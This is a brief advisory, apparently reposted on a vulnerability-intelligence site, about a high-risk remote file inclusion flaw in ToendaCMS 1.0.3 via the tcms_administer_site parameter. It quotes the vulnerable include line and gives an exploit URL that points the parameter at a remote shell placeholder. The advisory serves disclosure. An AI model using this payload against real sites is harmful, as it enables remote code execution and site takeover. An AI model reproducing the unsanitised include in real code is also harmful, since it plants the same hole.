ToendaCMS 1.0.3 has a high risk remote file inclusion vulnerability via tcms_administer_site.
`>****************************************************
> Iranians Are The Bests
>
>****************************************************
> ToendaCMS <= 1.0.3 -(tcms_administer_site) Remote File Include
>Descriptions
># Script.............. : ToendaCMS
># Discovered By.... : You_You
># Risk : High
># Class.............. : Remote
># Special Thanx To All Aria-Security's Administrators
>
>
-----------------------------------------------------------------------------------
>
>Source :
> include($tcms_administer_site.'/tcms_global/database.php')
>
>
>Exploit :
> http://www.site.com/path/tcms_administer_site=SHELL
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo